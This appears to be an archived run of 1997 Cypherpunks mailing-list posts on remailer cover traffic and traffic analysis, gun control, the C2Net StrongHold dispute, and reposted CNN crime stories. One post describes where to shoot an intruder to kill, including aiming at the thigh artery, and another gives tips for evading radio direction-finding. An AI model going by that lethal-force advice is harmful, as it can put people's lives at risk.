>>It is my understanding that serious naval vessels like aircraft
>>carriers use constant bandwidth channels to defeat traffic analysis.
>>That is, to every place they might wish to communicate, they
>>continuously broadcast encrypted information.  Most of the time the
>>channel is empty, of course, but nobody outside can tell when.
>>
>>If we had a remailer network in which each customer had a constant
>>bandwidth connection to one or more remailers, you could have zero
>>latency mail.
>
>Let me get this straight.  You are suggesting that anyone who wishes
to be
>anonymous should send a continuous 24 hour stream of low bandwidth
data to
>a central point in an effort to help keep anyone from knowing that
they
>wish to be anonymous.  
>
>While this may help correct the latency problem, how do you think
this will
>effect anonymity?  Do you think that by sending a continuos stream of
data
>to the remailer, the sender will be less identifiable?

 No, but I see that someone with a fulltime connection or even a
fulltime machine with an hourly or half hourly dialup would setup a
program to send randomly generated "Null:" messages to the randomly
selected remailers so that when he does have something to send that is
meaningful it will not change the apparent flow ...

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Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDLjFMdZgC62U/gIEQI1wgCg22mCFVbWn77DwG1CUlIRJah7oooAnic0
e0J0D1IOLP85CNvadBh9cBVA
=5UGm
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

   "First say to your self what you would be; then do what you
    have to do."  Epictetus (35-135 A.D.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 08:59:28 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Forwarded mail...
Message-ID: <199710020103.UAA23344@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 1 Oct 1997 21:42:39 +0200 (MET DST)
> From: nobody@REPLAY.COM (Anonymous)
> Subject: Re: "Show me an example of terrorists using the Internet or crypto"

> You are also not considering the case where one person has a gun and
> another does not.  The situation is more stable if both people are
> armed.  (And don't claim you are talking about disarming a whole
> society.  You aren't, just part of it.)

Why is the situation more stable if both parties are armed? If I were
confronted by a armed burglar and we were facing off I would pull the
trigger as soon as I got a lock. If their gun wasn't in a ready position I
would warn them and if they so much as flinched I'd drop them. If they were
unarmed I might beat them senseless with the gun but I would not shoot them
unless they made a motion to rush me, then I would go for a non-lethal shot
unless the distance was less than a dozen feet (rushing distance) or so in
which case I prefer head shots followed by center-torso (heart) shots. I'd
also train to fire 3 shot groups. The one exception would be center-torso
shots if they were wearing heavy or bulky clothing that might hide a vest.
In that situation (assuming it wasn't a rush) I would shoot for the inside
of the thigh at the hip-joint. Hit that artery and your dead without
immediate medical attention (which I am not likely to give after just
shooting the SOB). If it was a rush situation I would dump the clip into
their chest moving upward, hoping the KE would slow them down enough to get
a clear head shot (this would be what I practiced the most as well).

No, despite your claim the most stable situation is to not have the invasion
in the first place, followed by the victim being the only one armed. Anything
else is a gun-battle waiting for a twitch.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 09:12:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: None (fwd)
Message-ID: <199710020109.UAA23398@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: None
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Wed, 01 Oct 97 16:15:50 EDT

> > Those who are newcomers to the list should know that Vulis has never
> > presented any evidence substantiating his vague claims that Stronghold 
> > is insecure or has backdoors (or whatever the claims were).  Vulis is
> > conducting a personal vendetta against one of C2Net's staff members and 
> > anyone who happened to be or become associated with him.
> 
> Nor do I have to present any evidence.  I'm not the one selling StrongHold.

Exactly, StrongHold is the one making the claims of security, it behooves
them to address any and all criticisms of their product.

> I have received several threatening communications from C2Net's lawyers, 
> which were discussed at length on this list.  To avoid unpleasant disputes
> I agreed not to disseminate my opinions about StrongHold.
> Please keep this in mind if you consider buying it.

Which is sufficient reason not to use the StrongHold product or anything
else put out by them. Any company which desires to suppress opinions or
discussion over their product clearly has something to hide. This is what I
tell my customers and they seem to understand the utility of such an 
approach.

Never support strong-arm tactics, honest people don't need them.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alexlh@yourchoice.nl (Alex Le Heux)
Date: Thu, 2 Oct 1997 02:34:36 +0800
To: whgiii@invweb.net (William H. Geiger III)
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Mutt.19971001191622.alexlh@sarah.yc>
Message-ID: <Mutt.19971001201336.alexlh@sarah.yc>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III writes:
> 
> What a crock of shit!!
> 
> Europe has been in a perpetual state of war for the past 2,000 years where
> countless tens of millions of people have been slaughtered. Chances are
> very high that you will face an advisatory with a gun, the fact that he
> collects a paycheck from a government wont make you any less dead from his
> bullets.

Maybe you haven't noticed, but seen on 2000 year scales, the entire world
is constantly in a state of war. Europe isn't special in that regard. Even
though it doesn't look like there's many countries that are about to take
war to us here, it still might happen. And even if I had my AR15 then, it
wouldn't help me a lot against guided missiles and mortar fire. And anyway,
"to defend yourself in a war" is not one of the usual arguments against gun
control. 

> You must be getting some good drugs over there to conjure up this fantasy
> land where everyone loves one another and would never think of killing
> someone because it sure as hell doesn't exist in Europe.

Well, we're a lot closer to it over here than you guys are over there.

Alex

-- 
/// I dabble in techno-house and sometimes,
/// I do that badass hip-hop thang...
/// But the F U N K gets me every time!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 09:17:38 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Traffic Analysis and Cover Traffic (fwd)
Message-ID: <199710020120.UAA23468@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 1 Oct 1997 09:33:13 -0700
> From: Tim May <tcmay@got.net>
> Subject: Traffic Analysis and Cover Traffic

> As I understand your example above, the sender becomes less identifiable
> because he can always be counted on to send some packets; an attacker
> cannot see a message after a long period of no messages and correlate it to
> a similar sudden increase of activity at a possible recipient machine.
> 
> Traffic analysis is something you should look at. And think about.

This holds if it is a one-time occurance. If Mallet is looking at the
traffic over a very long time it is completely reasonable to expect some
correlation to become clear.

To address the example another presented about some book example of burst
analysis. Look at real-world examples such as the underground in France in
WWII. They would generate a single message on a known frequency at a
specific time. Thus interested parties could dial-in and get the info but
would not provide the Nazi's with sufficient traffic or time to get a
bearing. The revolutionaries in the book are amateurs and deserve what they
get since it is clear they are incompentent and by extension not fit to run
a country. Anyone with a clue will use times single instance transmissions
and if available burst or SS transmitters to reduce the transmission time
even more.

With current technology like full-time satellite surveillance and
transmitter characteristic analysis anything more than a single burst
transmission with the radio from a random location will provide sufficient
traffic to get a fix. You should also throw the transmitter away or change
the drivers in the finals after each use as characteristic analysis will
provide Mallet with the means to track the transmitter and thereby apply
traffic analysis (just like they use in some cell systems).



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Thu, 2 Oct 1997 09:23:30 +0800
To: cynthb@sonetis.com
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Pine.BSD/.3.91.971001154053.7185A-100000@mrburns.iosphere.net>
Message-ID: <199710020101.VAA16390@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be Cynthia Brown wrote:

: 
: I agree wholeheartedly.  Uncontrolled guns do not solve problems, they 
: create them.  If most households have at least one firearm, it makes it 
: that much easier for a criminal to obtain one by stealing yours while you 
: are at work.

So take your gun to work ;)  Yeah, I know ... that's not the point.


: 
: IMNSHO the best way to fight crime is not with bigger guns than the "bad
: guys", but with better social programs such as universal health care, and
: improved day care so single parents can show their kids what a productive
: lifestyle looks like.  This takes longer than blowing the brains out of some
: teenager that feels his only path to a better life is through crime, and it
: doesn't give the same adrenalin rush.  However, it works at the source of
: crime, and not the consequences. 

I agree, but here's the catch:  once you place the responsibility in the
hands of the gov't, the system comes to a screeching halt.  That which is 
mandated is corrupt, inefficient, and utterly useless.  I'll tell you the 
first step to reducing crime ... get to know your neighbors.  The problem
that we have here in the U.S. is mobile society.  How many Americans know
the people on their street or in their complex?  We have very little 
community left.  A cow-orker of mine lives in the Oranges (near Newark, NJ),
and she doesn't feel fearful when she walks through her complex at night.
The tenants meet at least once a month on a semi-social basis, and so they
know each other.  It makes a big difference.  I don't see most gov't
funded social programs making even that amount of difference.  The change
has to be internal to the community, essentially decentralized.  You can
seed the ideas, but you have to understand that simply improving day care
and health care isn't going to solve the problem, there has to be the
internal process.


Doc


- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

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=1sal
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Thu, 2 Oct 1997 06:03:19 +0800
To: Blanc <cypherpunks@cyberpass.net
Subject: Re: DejaVu: Cypherpunks as Philosopher Kings
In-Reply-To: <3.0.32.19971001014341.0068afe0@cnw.com>
Message-ID: <1997.1001.2150.19@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971001:0144 
    Blanc <blancw@cnw.com> purported to expostulate:

+Since he says "we are ... dangerous ... if .... we are not scrutinized
+carefully", I interpret this to mean that he is advising and warning
+that the agency therefore *needs* to be kept under watchful
+surveillance, lest it develop to the level of its worst potential. 

  Blanc: 

  At the end of the document I repeat the quote another way. To me, 
  stating that "your" FBI is potentially the most dangerous agency, is a 
  facetious attempt on the part of F[reeh,uck] to disarm, or at least give 
  everyone the warm fuzzies, that the FBI is _not_ dangerous. backhand 
  disinformation. what he is waiting for is his straight man to say, "Oh, 
  Louie, you know that's not true; we trust you implicitely."

  --start excerpt

    Louis F]reeh,uck], did you really state this hoping everyone would 
    think you are joking? 

        "We are potentially the most dangerous agency in the 
        country if we are not scrutinized carefully."

    Louis F[reeh,uck], you obviously know that telling the truth, before 
    the truth is really the truth, disarms your opposition since they 
    can plainly see that it is not true.

  --end excerpt

  sarcasm, like revenge, is a dish best served up cold.

 --
 "When I die, please cast my ashes upon Bill Gates. 
     For once, let him clean up after me! " 
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 2 Oct 1997 04:07:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
Message-ID: <199710011942.VAA09393@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Alex Le Heux wrote:
>You people just don't get it do you? A gun has one purpose: To
>kill. Just like any other tool, a gun, if it is available _will_ be
>used at some point.

Although guns are obviously designed for killing things, this does not
mean that they will be used.  This can be seen from the statistics.
There are far fewer murders than there are guns.  Almost all of them
are never used for killing someone.

You are also not considering the case where one person has a gun and
another does not.  The situation is more stable if both people are
armed.  (And don't claim you are talking about disarming a whole
society.  You aren't, just part of it.)

>So making sure there are lots of guns around only serves to make a
>lot of people very dead. This is a Bad Thing.

Depends who they are.  Bet the Dutch resistance made good use of their
weaponry, eh?

>In the US, where guns are tradition and part of the American way,
>many people would not think twice before shooting someone.

This is simply untrue.  TV and movies are not the best way to form an
understanding of another country.

>The result of this is that the number of people getting killed by
>guns is enourmous, be they criminals, little kids, old grannies, or
>presidents.

I read recently that 9000 people a year die in the United States from
food poisoning.  This should be almost entirely preventable.  Why
isn't this a big political issue?  Could it be that the people pushing
gun control do not have entirely pure motives?

Be aware that the gun control lobby has often used misleading
statistics.  For instance, you will hear a lot about "handgun deaths".
It turns out that most of these are suicides.  While undesirable, most
people perceive a difference between somebody killing themselves and a
nutcase doing his thing at a school.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 11:36:28 +0800
To: cypherpunks@ssz.com
Subject: http:--www.cnn.com-US-9710-01-shooting.update-
Message-ID: <199710020251.VAA23745@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner Visit Regal at Buick.com rule
   
               TEEN KILLS 2 AT SCHOOL; MOTHER FOUND DEAD AT HOME
                                       
     Woodham October 1, 1997
     Web posted at: 3:38 p.m. EDT (1938 GMT)
     
     PEARL, Mississippi (CNN) -- A Mississippi teen-ager slashed his
     mother's throat Wednesday morning before going on a shooting rampage
     at his high school that left two students dead and at least six
     wounded, authorities said.
     
     The high school junior, Luke Woodham, was arrested and charged with
     three counts of murder shortly after the shooting at Pearl High
     School, about three miles east of the state capital, Jackson.
     
     Police Chief Bill Slade choked back tears as he told reporters,
     "This was a disgruntled girlfriend-boyfriend thing... We talked to
     the youth. He gave us a statement and his manifesto was that he felt
     he had been wronged."
     
       _______________________________________________________________
     
     A L S O :
     
     Message Board: Violence in U.S. Schools 
       _______________________________________________________________
     
     
     Pearl Mayor Jimmy Foster describes what happened icon 308K/27 sec.
     AIFF or WAV sound Pearl Police Chief Bill Slade explains what
     measures will be taken to help traumatized students icon 219K/20
     sec. AIFF or WAV sound One student's mother is shocked icon 255KB/19
     sec. AIFF or WAV sound
     
     A former girlfriend of the suspect was one of two students killed at
     the school.
     
     Slade also said police suspect that the student had killed his
     mother, Mary T. Woodham, 50, at home earlier Wednesday by slashing
     her throat.
     
     The shooting happened about 8:10 a.m. as buses were arriving at the
     school. David Williams, a sophomore, said the gunman walked into the
     commons area inside the front of the school, pulled a rifle from his
     jacket and opened fire.
     
     "He was shooting anybody he could find. He shot at me and hit the
     staircase," said Mark Wilkerson, a freshman. "I saw fragments going
     everywhere." Medic offering help
     
     One student described the accused youth as reserved. "He was a very
     quiet person," said Alan Burrow.
     
     Four wounded students, ranging in age from 14 to 18, were taken to
     Rankin Medical Center in Brandon, Mississippi, where one student had
     already been treated and released. Grieving students gathered in
     hospital waiting rooms.
     
     "The injuries are non-critical gunshot wounds," hospital spokesman
     Mark Lee said. "In layman's terms they are flesh wounds."
     
     Officials shut down the school almost immediately after the shooting
     and sent all students home.
     
     Rhonda Marks, a spokeswoman at River Oaks Hospital, said two
     students had been brought into the hospital for treatment. Marks did
     not know if the hospital would receive any more wounded.
     
   
     _________________________________________________________________
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 10:53:28 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710020252.VAA23787@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner Price Waterhouse rule
   
             DOOR-TO-DOOR SCHOOL SALES DEBATED AFTER BOY'S SLAYING
                                       
     Werner October 1, 1997
     Web posted at: 10:02 p.m. EDT (0202 GMT)
     
     TOMS RIVER, New Jersey (CNN) -- During the school year, it's a scene
     that takes place across the United States -- children selling
     merchandise door-to-door, raising money to benefit their schools or
     activity groups.
     
     But now, the rape and murder of an 11-year-old New Jersey boy who
     tragically knocked on the wrong door has brought renewed attention
     to the issue of whether door-to-door sales should be discouraged, or
     even outlawed.
     
     Prosecutors say Edward Werner was attacked and murdered by a
     15-year-old boy who opened the door at a house in Toms River. Edward
     hoped to win a walkie talkie by selling the most merchandise in a
     contest.
     
     Authorities say they know of no other connection between the victim
     and the teen who has been charged -- that it was a "chance
     encounter" brought about by Edward's door-to-door selling in what a
     prosecutor describes as a "very safe" neighborhood.
     
     The teen-ager was charged Wednesday with murder and aggravated
     sexual assault. Authorities did not release his name because he is a
     juvenile.
     
  Raising money for the PTA
  
     
     
     Schools and non-profit groups pull down an estimated $2 billion a
     year from product sales, and no state has a law restricting
     door-to-door fund-raising sales by school children. But in the wake
     of Edward's slaying, a New Jersey legislator has suggested a ban.
     Neighborhood
     
     Ironically, Edward was raising money for the PTA -- though the
     national Parent Teacher Association has a policy discouraging
     students from selling merchandise door-to-door. The sales kits
     provided to the students warned them to sell only to "family,
     friends and neighbors with whom you are familiar."
     
     The Association of Fund Raisers and Direct Sellers, a trade group
     representing about half of the estimated 1,500 companies that deal
     with school and youth groups, has also adopted a policy saying it
     does not endorse door-to-door sales.
     
     Instead, the association suggests that children sell to relatives,
     friends or neighbors they know, while having parents sell to their
     co-workers, according to Russell Lemieux, the association's
     executive director.
     
     "That's really the bulk of sales in fund raising," Lemieux said.
     "The instance of a child going door-to-door is quite rare."
     
     However, children are often offered incentives that encourage them
     to sell as much as they can -- incentives which could have a
     tendency to encourage, rather than discourage, door-to-door sales.
     
     "Our members say incentives ... make a big difference," Lemieux
     said.
     
  Robbery thought the motive
  
     
     
     When he was last seen, Edward had about $200 on him, and police say
     he had been showing that money to friends. Robbery is believed to
     have been a motive in his murder, but no robbery charge has been
     filed.
     
     In the wake of the tragedy Edward's school district has banned
     door-to-door sales, as green ribbons have begun to appear in his
     memory. 
     
     Correspondent Christine Negroni contributed to this report.
     
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 2 Oct 1997 10:58:50 +0800
To: cypherpunks@toad.com
Subject: Request for illegal electronic surveillance examples and cases
Message-ID: <v03007800b058addd896f@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



So I'm putting together a special report featuring examples of illegal
wiretapping by governments -- to show why we shouldn't trust them with
mandatory domestic key escrow. Also illegal electronic surveillance,
generally speaking. Especially more recent ones. Maybe non-U.S. examples
too.

Any suggestions? I'm thinking things like: MLKjr, Mrs. Roosevelt, _Irvine_,
_Socialist Workers Party_, Dewey-FBI alliance, mail opening, Emma Goldman,
Brownell's blanket microphone surveillance, _Katz_, _Alderman_, CISPES.

-Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0124.myriad.ml.org (Matthew Ghio)
Date: Thu, 2 Oct 1997 11:07:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash (fwd)
In-Reply-To: <199710020003.TAA22891@einstein.ssz.com>
Message-ID: <199710020250.WAA02067@myriad>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

>What would motivate an average consumer to use an anonymous remailer?
>
>Clearly simple anonymity or writing nasty letters to Grandma anonymously are
>not going to motivate most folks irrespective of cost - they simply have no
>interest in such activities.

I gave several examples.

>Irrelevant because people won't pay for this.

I never said they would.  You asked what motivates people to use an
anonymous remailer irrespective of cost.

>What besides raising hell anonymously, laundering money, and defeating
>merchant purchase traffic analysis are commercial anonymous remailers good
>for?

I think you answered your own question:

>Free remailers are useful for all sorts of mental masturbation, for actual
>business there doesn't seem to be a lot of uses.

The money laundering issue has very little to do with the remailers, and
more to do with the structure of the economic/banking system, how easily
one can convert wealth from one form to another, and whether there is
incentive to do so.

You seem to feel that people are unlikely to pay for any of the most
common uses of remailers - you're probably right - which brings us back
full circle.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 2 Oct 1997 23:20:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet orcrypto"
In-Reply-To: <Mutt.19971001191622.alexlh@sarah.yc>
Message-ID: <v03007825b058e9d66883@[207.94.249.144]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:16 AM -0700 10/1/97, Alex Le Heux wrote:
>You people just don't get it do you? A gun has one purpose: To kill. Just like
>any other tool, a gun, if it is available _will_ be used at some point.

When I was on my high school rifle team, I thought the one purpose of guns
was to poke holes in a piece of paper closer to the center of the
bull's-eye than the other team could.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 2 Oct 1997 11:29:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <2e8e2dc2b1d38583b7f28b77d4ac847d@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 1 Oct 1997, Anonymous wrote:

> Bill Stewart wrote:
> >Latency is essential to security, though high volume reduces the
> >latency that's needed to get a given level of security.
> 
> Latency may be a means to get security in the current remailer design,
> but it is a means to the end and not the end itself.  This doesn't
> mean we shouldn't use latency to get security, but it is undesirable,
> like using cinderblocks for construction.  The reason I point this out
> is that it is important to separate design choices to achieve a goal
> from the goal itself.
> 
> If we had a remailer network in which each customer had a constant
> bandwidth connection to one or more remailers, you could have zero
> latency mail. (Actually, this would be nice to use with those Comsec
> phones.)

Or use something like anonymous broadcast.  Send (fixed sized, constant
rate) packets continuously around a fixed set of remailers.  Messages may
or may not be inserted into these packets, and with encryption it is
impossible to tell which node inserted a message (and only until the
packet completed the circuit could you tell - inside the machine
originating the broadcast).  Messages would be resent through the set of
remailers, and could be PK encrypted to one of the other nodes.  With the
broadcast being anonymous, the reciever within the set cannot know who it
came from (and theoretically because it is encrypted, no one could know
who it is to except the sender, and you can do something to create
anonymous target packets). 

You would still need some mixing for low usage times (or wait for N
messages and circulate a control "forward now" message, so that 10
messages come in sequentially and are held, and then at an even interval,
10 messages go out from random nodes.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 2 Oct 1997 23:11:08 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Why? (fwd)
In-Reply-To: <199710012159.QAA20763@einstein.ssz.com>
Message-ID: <v03007826b058eb93d159@[207.94.249.144]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:59 PM -0700 10/1/97, Jim Choate wrote:
>> From: Bill Frantz <frantz@netcom.com>
>> At 7:49 PM -0700 9/30/97, Jim Choate wrote:
>> >My original question still stands, why would I or any other party choose to
>> >use an anonymous remailer for anything other than the original 3 items I
>> >mentioned previously.
>
>> I have heard of people's posts being brought up in employment
>> interviews.  A rational person might want to express controversial opinions
>> anonymously.
>
>And your point is? My personal opinions have nothing to do with my
>professional career and yours shouldn't either. I would love to have a
>company bring up my past posts, makes it easy to decide if I want to work
>there or not.
>
>If you want to work for such a company and you know their views and your
>views are in conflict then I would say you need a shrink not an anon.
>remailer.

You see my stand in the .sig below.  (Hint, it is my "true name".)
However, I am willing to admit that others may see it differently and want
to use remailers.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Oct 1997 19:10:34 +0800
To: cypherpunks@toad.com
Subject: Re: Secure HTTP servers.
In-Reply-To: <Pine.LNX.3.95.971002085941.32706A-100000@buffalo.pharos.com.au>
Message-ID: <qXgXDe4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Martin Pool <mbp@pharos.com.au> writes:

> I have no evidence in support or rebuttal of C2Net's alleged
> harrassment of Dr Vulis, so I won't comment on that.

Are you questioning whether I, Tim May, and several other people on this
mailing list were threatened by C2Net';s lawyers?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Thu, 2 Oct 1997 12:01:28 +0800
To: "Cynthia Brown" <alexlh@yourchoice.nl>
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
Message-ID: <199710020338.XAA08905@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 10/1/97 4:20 PM, Cynthia Brown (cynthb@sonetis.com)  passed this
wisdom:

>I agree wholeheartedly. Uncontrolled guns do not solve problems, 
>they create them. If most households have at least one firearm, it 
>makes it that much easier for a criminal to obtain one by stealing 
>yours while you are at work.
>
>Canada may be regulated to death according to most libertarians, 
>but I for one like it that way. I can walk alone and unarmed at 
>night in Ottawa, Toronto, etc. without fearing for my life. Can a 
>female resident of Washington or New York say the same? Our schools 
>do not have metal detectorsat the entrances because they are not 
>needed.  

 I live in the state of Vermont, where we have more guns per household
than most of the states in the US. We are one of the only (if not
*the* only) states in the Union that permits concealed carry without
requiring a permit (with the not surprising exceptions of USG
buildings and schools). Our record high murder year was a few years
ago, twenty three murders (that high because we had a woman go crazy
at the Eveready plant in Bennington and killed five people in one
sitting) in more recent years the figure generally stays under ten per
year ...three years ago the figure was five and only one of them was
with a gun ... a shotgun, not a handgun. We go where we please with
little fear as well; It has to do with a frame of mind, a set of
values, not with a lack of availability or opportunity.

  There is something to be said for living in a place where a man can
come right down off the hills during deer season and walk into a
liquor store with a shotgun to buy a bottle of hooch without drawing a
SWAT team! Try that in NYC or Toronto!

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aESM15SJSCwdbYKjDRG2zCIi
=69FK
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "Give a man a fish and you have fed him for a day, but give him a case
  of dynamite and soon the village will be showered with mud and
  seaweed and unidentifiable chunks of fish." -Joe Chew






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Thu, 2 Oct 1997 12:07:37 +0800
To: "Jim Choate" <cypherpunks@ssz.com>
Subject: Re: Remailers and ecash (fwd)
Message-ID: <199710020356.XAA19326@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 10/1/97 8:38 PM, Jim Choate (ravage@ssz.com)  passed this wisdom:

>> From: "Brian B. Riley" <brianbr@together.net>
>
>>  No, but I see that someone with a fulltime connection or even a
>> fulltime machine with an hourly or half hourly dialup would setup a
>> program to send randomly generated "Null:" messages to the randomly
>> selected remailers so that when he does have something to send that
is
>> meaningful it will not change the apparent flow ...
>
>And why does this by any security when it's the header info and 
>contents that Mallet looks at, not the frequency. The only thing 
>such approaches do is impliment security by obscurity, and that 
>ain't security. 

 What header info?, its all messages to the remailer with nondescript
info .. from that point the latency and mix takes over. The meaningful
message looks no different from the 'cover' traffic.

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dAjcP7WI0TBubRcYPBHFIBFJ
=ZUbr
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Americans are so enamored of equality that they would rather 
   be equal in slavery than unequal in freedom."  -  Alexis deToqueville






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 2 Oct 1997 17:42:14 +0800
To: Cynthia Brown <alexlh@yourchoice.nl>
Subject: [GUNS] Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Mutt.19971001191622.alexlh@sarah.yc>
Message-ID: <3.0.3.32.19971002000649.006db3a8@popd.ix.netcom.com>
MIME-Version: 1.0
